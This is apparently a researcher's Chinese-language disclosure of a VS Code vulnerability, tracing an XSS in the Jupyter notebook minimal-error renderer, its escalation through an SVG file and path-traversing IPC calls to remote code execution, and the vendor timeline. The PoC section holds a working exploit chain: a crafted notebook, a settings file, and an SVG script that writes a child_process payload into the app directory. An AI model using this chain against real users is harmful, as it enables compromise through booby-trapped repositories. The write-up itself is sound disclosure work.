漏洞详情
2024年4月,我发现了Visual Studio Code(VS Code <= 1.89.1)中的一个高危漏洞。该漏洞允许攻击者将跨站脚本漏洞(XSS)升级为完全的远程代码执行——即使在受限模式下也能实现。
VS Code的桌面版运行在Electron之上。其渲染器进程处于沙箱中,并通过Electron的IPC机制与主进程通信。
在为Jupyter Notebooks新引入的最小错误渲染模式中,存在一个XSS漏洞,导致可在笔记本渲染器的vscode-app WebView内执行任意JavaScript代码。如果用户启用了相关设置,打开一个特制的.ipynb文件即可触发此漏洞。或者,在VS Code中打开一个包含特制settings.json文件的文件夹,并在该文件夹内打开恶意的.ipynb文件,也能触发漏洞。值得注意的是,即使受限模式已启用(这是用户未明确信任工作区时的默认设置),该漏洞仍可被触发。
技术原理
本文将通过分析代码,逐步拆解该漏洞的工作原理,并解释其如何绕过VS Code的受限模式。
漏洞成因
Visual Studio Code的默认安装包含对Jupyter Notebooks的内置支持,并为某些常见输出类型提供了默认渲染器。这些渲染器的源代码位于extensions/notebook-renderers/src/index.ts。对于类型为application/vnd.code.notebook.error的单元格,渲染器会调用renderError函数,该函数继而调用位于stackTraceHelper.ts中的formatStackTrace函数。该函数又调用同一文件中的linkify,将指向特定单元格中行的引用转换为VS Code内部可点击的链接。如果启用了最小错误渲染模式,程序会将formatStackTrace的结果传递给createMinimalError,后者进行进一步处理并将结果附加到WebView的DOM中。
以下是相关代码的关键片段及其注释:
renderError:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
function renderError(
outputInfo: OutputItem,
outputElement: HTMLElement,
ctx: IRichRenderContext,
trustHtml: boolean // 如果工作区不被信任,则为false
): IDisposable {
// ...
if (err.stack) {
const minimalError = ctx.settings.minimalError && !!headerMessage?.length;
outputElement.classList.add('traceback');
const { formattedStack, errorLocation } = formatStackTrace(err.stack);
// ...
if (minimalError) {
createMinimalError(errorLocation, headerMessage, stackTraceElement, outputElement);
} else {
// ...
}
} else {
// ...
}
outputElement.classList.add('error');
return disposableStore;
}
|
formatStackTrace 与 linkify:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
export function formatStackTrace(stack: string): { formattedStack: string; errorLocation?: string } {
let cleaned: string;
// ...
if (isIpythonStackTrace(cleaned)) {
return linkifyStack(cleaned);
}
}
const cellRegex = /(?<prefix>Cell\s+(?:\u001b\[.+?m)?In\s*\[(?<executionCount>\d+)\],\s*)(?<lineLabel>line (?<lineNumber>\d+)).*/;
function linkifyStack(stack: string): { formattedStack: string; errorLocation?: string } {
const lines = stack.split('\n');
let fileOrCell: location | undefined;
let locationLink = '';
for (const i in lines) {
const original = lines[i];
if (fileRegex.test(original)) {
// ...
} else if (cellRegex.test(original)) {
fileOrCell = {
kind: 'cell',
path: stripFormatting(original.replace(cellRegex, 'vscode-notebook-cell:?execution_count=$<executionCount>'))
};
const link = original.replace(cellRegex, `<a href=\'${fileOrCell.path}&line=$<lineNumber>\'>line $<lineNumber></a>`); // [1]
lines[i] = original.replace(cellRegex, `$<prefix>${link}`);
locationLink = locationLink || link; // [2]
continue;
}
// ...
}
const errorLocation = locationLink; // [3]
return { formattedStack: lines.join('\n'), errorLocation };
}
|
createMinimalError:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
function createMinimalError(errorLocation: string | undefined, headerMessage: string, stackTrace: HTMLDivElement, outputElement: HTMLElement) {
const outputDiv = document.createElement('div');
const headerSection = document.createElement('div');
headerSection.classList.add('error-output-header');
if (errorLocation && errorLocation.indexOf('<a') === 0) {
headerSection.innerHTML = errorLocation; // [4]
}
const header = document.createElement('span');
header.innerText = headerMessage;
headerSection.appendChild(header);
outputDiv.appendChild(headerSection);
// ...
outputElement.appendChild(outputDiv);
}
|
漏洞触发点
在代码注释[1]和[2]处,程序试图将诸如Cell In [1], line 6(可能包含ANSI转义序列)这样的序列,转换为形如<a href=vscode-notebook-cell:?execution_count=1&line=6>line 6</a>的HTML链接标签,并在[3]处将errorLocation变量设置为这个HTML。关键点在于,它使用的正则表达式末尾的通配符会“吞掉”行号之后的任何文本,但紧接在Cell In序列之前的任何文本则不受replace操作的影响。
因此,一个像LOLZTEXTHERECell In [1], line 6这样的输入(位于.ipynb文件中),将会产生无效的标记:LOLZTEXTHERE<a href=LOLZTEXTHEREvscode-notebook-cell:?execution_count=1&line=6>line 6</a>。
在createMinimalError函数中,如果errorLocation被设置并且以<a开头,它就会被认为是formatStackTrace函数生成的链接,从而直接被赋值给headerSection.innerHTML。无论工作区是否被信任,这个元素都会被添加到输出DOM中。然而,由于我们可以部分控制formatStackTrace生成的标记格式(包括字符串的开头),我们可以创建一个包含如下堆栈跟踪的笔记本文件:<a><img src onerror=console.log(123)>Cell In [1], line 6。这将导致errorLocation的值变成<a><img src onerror=console.log(123)><a href=<a><img[等]。由于它满足了以<a>开头的条件,所以会被插入到headerSection.innerHTML中并在WebView中渲染,从而导致JavaScript代码执行,并将123记录到控制台。
升级至RCE
XSS漏洞导致代码在vscode-app来源下的iframe内执行。该iframe位于主工作台窗口之下,而主工作台窗口属于vscode-file来源。主工作台窗口包含vscode.ipcRenderer对象,它使渲染器帧能够向主帧发送IPC消息,以执行文件系统操作、在PTY中创建和执行命令等。为了访问这个对象,我们需要找到一种在vscode-file来源下执行代码的方法。
vscode-file协议处理程序的代码位于src/vs/platform/protocol/electron-main/protocolMainService.ts,相关部分摘录如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
private handleResourceRequest(request: Electron.ProtocolRequest, callback: ProtocolCallback): void {
const path = this.requestToNormalizedFilePath(request);
let headers: Record<string, string> | undefined;
if (this.environmentService.crossOriginIsolated) {
if (basename(path) === 'workbench.html' || basename(path) === 'workbench.dev.html') {
headers = COI.CoopAndCoep;
} else {
headers = COI.getHeadersFromQuery(request.url);
}
}
// 首先通过validRoots检查
if (this.validRoots.findSubstr(path)) {
return callback({ path, headers });
}
// 然后通过validExtensions检查
if (this.validExtensions.has(extname(path).toLowerCase())) {
return callback({ path });
}
// 最后阻止加载资源
this.logService.error(`${Schemas.vscodeFileResource}: Refused to load resource ${path} from ${Schemas.vscodeFileResource}: protocol (original URL: ${request.url})`);
return callback({ error: -3 /* ABORTED */ });
}
|
为了通过vscode-file协议加载文件,它们必须要么位于VS Code应用安装目录内,要么具有一系列有效扩展名之一。.svg是一个有效扩展名,并且可以包含JavaScript代码,这些代码在<iframe>中加载时会执行。我们可以在恶意的代码仓库中包含一个SVG文件,并通过笔记本WebView中的许多DOM元素(PoC使用了<base>标签的href属性)获取对其存储目录的引用。
在SVG文件中,top.vscode.ipcRenderer可用于调用主进程的IPC处理程序。特别地,其中两个处理程序vscode:readNlsFile和vscode:writeNlsFile被发现存在目录遍历漏洞,使攻击者能够读取和写入进程有权限的文件系统中的任何文件。PoC利用这一点,通过写入<vscode app root>/out/node_modules/graceful-fs.js(该文件默认不存在,但VS Code在加载窗口时会尝试导入它。我们可以通过立即发送vscode:reloadWindow IPC消息来触发此操作)来实现在Windows和macOS上执行代码。在Linux上,可以通过类似的方式写入.bashrc等文件来实现代码执行。
概念验证
1
2
3
4
5
|
not_sus_repo
├── .vscode
│ └── settings.json
└── icon.svg
|
.vscode/settings.json:
1
2
3
|
{
"notebook.output.minimalErrorRendering": true
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
{
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [
{
"data": {
"application/vnd.code.notebook.error": {
"message": "error",
"name": "name",
"stack": "<a><img src onerror=\"var root=document.getElementsByTagName('base')[0].href;root=root.replace('https://file+.vscode-resource.vscode-cdn.net/','vscode-file://vscode-app/');var iframe=document.createElement('iframe');iframe.src=root+'icon.svg',iframe.style.display='none',document.body.appendChild(iframe);\">Cell \u001b[1;32mIn[1], line 6"
}
},
"metadata": {},
"output_type": "display_data"
}
],
"source": [
"def make_big_err(i):\n",
" if i <= 0:\n",
" raise Exception()\n",
" make_big_err(i-1)\n",
"\n",
"make_big_err(10)"
]
}
]
}
|
icon.svg:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<svg height="100" width="100" xmlns="http://www.w3.org/2000/svg">
<circle r="45" cx="50" cy="50" fill="red" />
<script>
async function exp() {
const pathSep = top.vscode.process.platform === 'win32' ? '\\' : '/';
const a = top.vscode.context.configuration().userDataDir;
let b = top.vscode.context.configuration().appRoot;
let payload = top.vscode.process.platform === 'win32' ? 'start calc.exe' : 'open -a Calculator.app';
if (b[1] === ':') {
b = b.slice(2);
}
const subPath = `clp${pathSep}${('..' + pathSep).repeat(15)}${b}${pathSep}out${pathSep}node_modules${pathSep}graceful-fs.js`;
await top.vscode.ipcRenderer.invoke('vscode:writeNlsFile', `${a}${pathSep}${subPath}`, `require("child_process").exec("${payload}");`);
top.vscode.ipcRenderer.send('vscode:reloadWindow');
}
exp();
</script>
</svg>
|
缓解建议
- 修复
createMinimalError函数:在将errorLocation赋值给headerSection.innerHTML之前,确保errorLocation仅包含具有指定URI格式的<a>标签。
- 实施内容安全策略:在笔记本渲染器WebView中使用内容安全策略,以确保在受限模式下仅运行受信任的脚本。
时间线
- 2024-07-03 向厂商披露
- 2024-07-03 首次联系厂商
- 2024-07-10 向厂商分享了另外两个PoC
- 2024-08-02 厂商回复:“此案例评估为低严重性,不符合MSRC的即时修复标准,因为如果不经过大量用户交互(例如,接受保存到攻击者控制位置的提示),RCE已无法实现。”
- 2025-05-14 公开披露